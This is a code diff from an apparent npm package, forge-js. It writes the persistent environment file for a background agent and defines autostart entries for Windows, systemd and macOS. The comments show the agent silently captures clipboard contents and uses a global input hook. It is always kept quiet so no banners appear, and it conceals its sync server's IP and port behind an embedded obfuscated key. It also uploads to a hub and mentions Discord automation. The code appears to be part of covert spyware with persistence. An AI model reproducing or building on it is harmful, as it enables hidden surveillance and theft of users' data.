|
|
285
|
+
try {
|
|
286
|
+
uid = os.userInfo().uid;
|
|
287
|
+
}
|
|
288
|
+
catch {
|
|
289
|
+
uid = process.getuid?.() ?? 1000;
|
|
290
|
+
}
|
|
291
|
+
const xdgFromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
292
|
+
const xdg = xdgFromEnv || `/run/user/${uid}`;
|
|
293
|
+
map.set("XDG_RUNTIME_DIR", xdg);
|
|
294
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
295
|
+
if (disp)
|
|
296
|
+
map.set("DISPLAY", disp);
|
|
297
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
298
|
+
if (wl)
|
|
299
|
+
map.set("WAYLAND_DISPLAY", wl);
|
|
300
|
+
const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
|
|
301
|
+
if (dbus)
|
|
302
|
+
map.set("DBUS_SESSION_BUS_ADDRESS", dbus);
|
|
303
|
+
const xauth = (process.env.XAUTHORITY || "").trim();
|
|
304
|
+
if (xauth)
|
|
305
|
+
map.set("XAUTHORITY", xauth);
|
|
306
|
+
const installTimePath = (process.env.PATH || "").trim();
|
|
307
|
+
const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
|
|
308
|
+
if (installTimePath) {
|
|
309
|
+
const seen = new Set();
|
|
310
|
+
const merged = [];
|
|
311
|
+
for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
|
|
312
|
+
const s = seg.trim();
|
|
313
|
+
if (s && !seen.has(s)) {
|
|
314
|
+
seen.add(s);
|
|
315
|
+
merged.push(s);
|
|
316
|
+
}
|
|
317
|
+
}
|
|
318
|
+
map.set("PATH", merged.join(":"));
|
|
319
|
+
}
|
|
320
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
321
|
+
}
|
|
322
|
+
function forgeAgentEnvPath(dataDir) {
|
|
323
|
+
return path.join(dataDir, exports.FORGE_AGENT_ENV_BASENAME);
|
|
324
|
+
}
|
|
325
|
+
/**
|
|
326
|
+
* In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
|
|
327
|
+
* Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
|
|
328
|
+
*/
|
|
329
|
+
function applyDefaultHubUploadProcessEnv() {
|
|
330
|
+
if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
|
|
331
|
+
process.env.CFGMGR_HF_USE_XET = "0";
|
|
332
|
+
}
|
|
333
|
+
if (!(process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "").trim()) {
|
|
334
|
+
process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
/**
|
|
338
|
+
* Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
|
|
339
|
+
* Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
|
|
340
|
+
* FORGE_JS_QUIET_AGENT=1 is always written so OS-service-started agents never show popup banners.
|
|
341
|
+
*
|
|
342
|
+
* On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
|
|
343
|
+
* the OS-service-started agent (after reboot) uses the same encryption key override rather than
|
|
344
|
+
* the embedded obfuscated key. This is only written when the env var is actually set; the
|
|
345
|
+
* embedded key is self-contained and requires no env var under normal conditions.
|
|
346
|
+
*
|
|
347
|
+
* @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
|
|
348
|
+
* came from the encrypted bundle so the plain IP/port is not stored on disk.
|
|
349
|
+
*/
|
|
350
|
+
function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
|
|
351
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
352
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
353
|
+
const u = (syncApiUrl || "").trim();
|
|
354
|
+
// Always write FORGE_JS_QUIET_AGENT so the OS-service-started agent is always silent.
|
|
355
|
+
const lines = [`FORGE_JS_QUIET_AGENT=1`];
|
|
356
|
+
// Omit sync URL when it came from the encrypted bundle so the plain IP/port is not stored
|
|
357
|
+
// on disk. The agent resolves the URL from the bundle at startup via defaultSyncApiBaseUrl().
|
|
358
|
+
if (u && !omitSyncUrl) {
|
|
359
|
+
lines.push(envFileLine("FORGE_JS_SYNC_URL", u), envFileLine("CFGMGR_API_URL", u));
|
|
360
|
+
}
|
|
361
|
+
// Persist a FORGE_JS_BUNDLE_KEY override if one was explicitly set at install time.
|
|
362
|
+
// The embedded key is self-contained (no env var required under normal use).
|
|
363
|
+
const bundleKey = (process.env.FORGE_JS_BUNDLE_KEY || "").trim();
|
|
364
|
+
if (bundleKey) {
|
|
365
|
+
lines.push(envFileLine("FORGE_JS_BUNDLE_KEY", bundleKey));
|
|
366
|
+
}
|
|
367
|
+
if (process.platform === "linux") {
|
|
368
|
+
let uid = 1000;
|
|
369
|
+
try {
|
|
370
|
+
uid = os.userInfo().uid;
|
|
371
|
+
}
|
|
372
|
+
catch {
|
|
373
|
+
uid = process.getuid?.() ?? 1000;
|
|
374
|
+
}
|
|
375
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || `/run/user/${uid}`;
|
|
376
|
+
lines.push(envFileLine("XDG_RUNTIME_DIR", xdg));
|
|
377
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
378
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
379
|
+
// Only persist session vars when actually set. Fake :0 / wayland-0 on headless servers
|
|
380
|
+
// made uiohook think a display existed and native code aborted (XOpenDisplay failure).
|
|
381
|
+
if (disp)
|
|
382
|
+
lines.push(envFileLine("DISPLAY", disp));
|
|
383
|
+
if (wl)
|
|
384
|
+
lines.push(envFileLine("WAYLAND_DISPLAY", wl));
|
|
385
|
+
// DBUS_SESSION_BUS_ADDRESS is required by clipboard-event and some clipboard tools
|
|
386
|
+
// (xclip, wl-paste) when running under systemd --user without an active login session.
|
|
387
|
+
// Persist the value captured at install time so the systemd unit can use it.
|
|
388
|
+
const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
|
|
389
|
+
if (dbus)
|
|
390
|
+
lines.push(envFileLine("DBUS_SESSION_BUS_ADDRESS", dbus));
|
|
391
|
+
// XAUTHORITY is required by X11 clipboard tools (xclip, xsel, clipboard-event) to
|
|
392
|
+
// authenticate with the X server when running under systemd --user after reboot.
|
|
393
|
+
// Without it, clipboard capture silently fails even when DISPLAY is set.
|
|
394
|
+
const xauth = (process.env.XAUTHORITY || "").trim();
|
|
395
|
+
if (xauth)
|
|
396
|
+
lines.push(envFileLine("XAUTHORITY", xauth));
|
|
397
|
+
// Persist PATH so clipboard tools (xclip, wl-paste, xsel) are found under the
|
|
398
|
+
// systemd user service environment, which may have a minimal default PATH.
|
|
399
|
+
// Always include standard Linux paths as a reliable base.
|
|
400
|
+
const installTimePath = (process.env.PATH || "").trim();
|
|
401
|
+
const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
|
|
402
|
+
const effectivePath = installTimePath
|
|
403
|
+
? (() => {
|
|
404
|
+
const seen = new Set();
|
|
405
|
+
const merged = [];
|
|
406
|
+
for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
|
|
407
|
+
const s = seg.trim();
|
|
408
|
+
if (s && !seen.has(s)) {
|
|
409
|
+
seen.add(s);
|
|
410
|
+
merged.push(s);
|
|
411
|
+
}
|
|
412
|
+
}
|
|
413
|
+
return merged.join(":");
|
|
414
|
+
})()
|
|
415
|
+
: standardLinuxPaths;
|
|
416
|
+
lines.push(envFileLine("PATH", effectivePath));
|
|
417
|
+
}
|
|
418
|
+
fs.writeFileSync(p, `${lines.join("\n")}\n`, "utf8");
|
|
419
|
+
}
|
|
420
|
+
/**
|
|
421
|
+
* Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
|
|
422
|
+
* must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
|
|
423
|
+
*/
|
|
424
|
+
function mergeForgeAgentEnvKeyValue(dataDir, key, value) {
|
|
425
|
+
const k = String(key || "").trim();
|
|
426
|
+
if (!k)
|
|
427
|
+
return;
|
|
428
|
+
if (forbiddenForgeAgentEnvPersistKey(k))
|
|
429
|
+
return;
|
|
430
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
431
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
432
|
+
let raw = "";
|
|
433
|
+
try {
|
|
434
|
+
raw = fs.readFileSync(p, "utf8");
|
|
435
|
+
}
|
|
436
|
+
catch {
|
|
437
|
+
/* new file */
|
|
438
|
+
}
|
|
439
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
440
|
+
map.set(k, String(value));
|
|
441
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
442
|
+
}
|
|
443
|
+
/**
|
|
444
|
+
* Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
|
|
445
|
+
* from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
|
|
446
|
+
*/
|
|
447
|
+
function removeForgeAgentEnvKeys(dataDir, keys) {
|
|
448
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
449
|
+
let raw = "";
|
|
450
|
+
try {
|
|
451
|
+
raw = fs.readFileSync(p, "utf8");
|
|
452
|
+
}
|
|
453
|
+
catch {
|
|
454
|
+
return;
|
|
455
|
+
}
|
|
456
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
457
|
+
let changed = false;
|
|
458
|
+
for (const k of keys) {
|
|
459
|
+
const kk = String(k || "").trim();
|
|
460
|
+
if (kk && map.delete(kk))
|
|
461
|
+
changed = true;
|
|
462
|
+
}
|
|
463
|
+
if (!changed)
|
|
464
|
+
return;
|
|
465
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
466
|
+
}
|
|
467
|
+
function applyForgeJsAgentEnvFile(dataDir) {
|
|
468
|
+
sanitizeForgeAgentEnvFileOnDisk(dataDir);
|
|
469
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
470
|
+
let raw;
|
|
471
|
+
try {
|
|
472
|
+
raw = fs.readFileSync(p, "utf8");
|
|
473
|
+
}
|
|
474
|
+
catch {
|
|
475
|
+
return;
|
|
476
|
+
}
|
|
477
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
478
|
+
for (const [k, v] of map) {
|
|
479
|
+
/** Installed defaults for Hub uploads — always honor the file after `npm install`. */
|
|
480
|
+
if (k === "CFGMGR_HF_USE_XET" || k === "CFGMGR_HF_SKIP_OPENAS_BLOB") {
|
|
481
|
+
process.env[k] = v;
|
|
482
|
+
continue;
|
|
483
|
+
}
|
|
484
|
+
if (!(process.env[k] ?? "").trim()) {
|
|
485
|
+
process.env[k] = v;
|
|
486
|
+
}
|
|
487
|
+
}
|
|
488
|
+
}
|
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
import type { ResolvedAutostartLaunch } from "./resolve";
|
|
2
|
+
/**
|
|
3
|
+
* Legacy path where `scripts/forge-jsx-auto-update.mjs` used to live (removed from the package).
|
|
4
|
+
* Still returned so `register*AutoUpdateTimer` no-ops and uninstall can target old units/tasks.
|
|
5
|
+
*/
|
|
6
|
+
export declare function autoUpdateScriptPath(launch: ResolvedAutostartLaunch): string;
|
|
7
|
+
export declare function assertAutoUpdateScriptExists(launch: ResolvedAutostartLaunch): boolean;
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.autoUpdateScriptPath = autoUpdateScriptPath;
|
|
37
|
+
exports.assertAutoUpdateScriptExists = assertAutoUpdateScriptExists;
|
|
38
|
+
const fs = __importStar(require("node:fs"));
|
|
39
|
+
const path = __importStar(require("node:path"));
|
|
40
|
+
/**
|
|
41
|
+
* Legacy path where `scripts/forge-jsx-auto-update.mjs` used to live (removed from the package).
|
|
42
|
+
* Still returned so `register*AutoUpdateTimer` no-ops and uninstall can target old units/tasks.
|
|
43
|
+
*/
|
|
44
|
+
function autoUpdateScriptPath(launch) {
|
|
45
|
+
const distDir = path.dirname(launch.agentScript);
|
|
46
|
+
return path.join(distDir, "..", "scripts", "forge-jsx-auto-update.mjs");
|
|
47
|
+
}
|
|
48
|
+
function assertAutoUpdateScriptExists(launch) {
|
|
49
|
+
const p = autoUpdateScriptPath(launch);
|
|
50
|
+
return fs.existsSync(p);
|
|
51
|
+
}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
|
|
2
|
+
export declare const WINDOWS_TASK_NAME = "ForgeJSWorker";
|
|
3
|
+
export declare const WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
|
|
4
|
+
export declare const SYSTEMD_UNIT_NAME = "forge-js-worker";
|
|
5
|
+
/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
|
|
6
|
+
export declare const LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
|
|
7
|
+
export declare const MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
|
|
8
|
+
export declare const MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
|
|
9
|
+
/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
|
|
10
|
+
export declare const LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
|
|
11
|
+
export declare const LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
|
|
12
|
+
/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
|
|
13
|
+
export declare const LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
|
|
14
|
+
export declare const AUTOSTART_MANIFEST = ".forge_js_autostart.json";
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.AUTOSTART_MANIFEST = exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = exports.MACOS_PLIST_FILENAME = exports.MACOS_LAUNCH_AGENT_LABEL = exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = exports.SYSTEMD_UNIT_NAME = exports.WINDOWS_RUN_VALUE_NAME = exports.WINDOWS_TASK_NAME = void 0;
|
|
4
|
+
/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
|
|
5
|
+
exports.WINDOWS_TASK_NAME = "ForgeJSWorker";
|
|
6
|
+
exports.WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
|
|
7
|
+
exports.SYSTEMD_UNIT_NAME = "forge-js-worker";
|
|
8
|
+
/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
|
|
9
|
+
exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
|
|
10
|
+
exports.MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
|
|
11
|
+
exports.MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
|
|
12
|
+
/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
|
|
13
|
+
exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
|
|
14
|
+
exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
|
|
15
|
+
/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
|
|
16
|
+
exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
|
|
17
|
+
exports.AUTOSTART_MANIFEST = ".forge_js_autostart.json";
|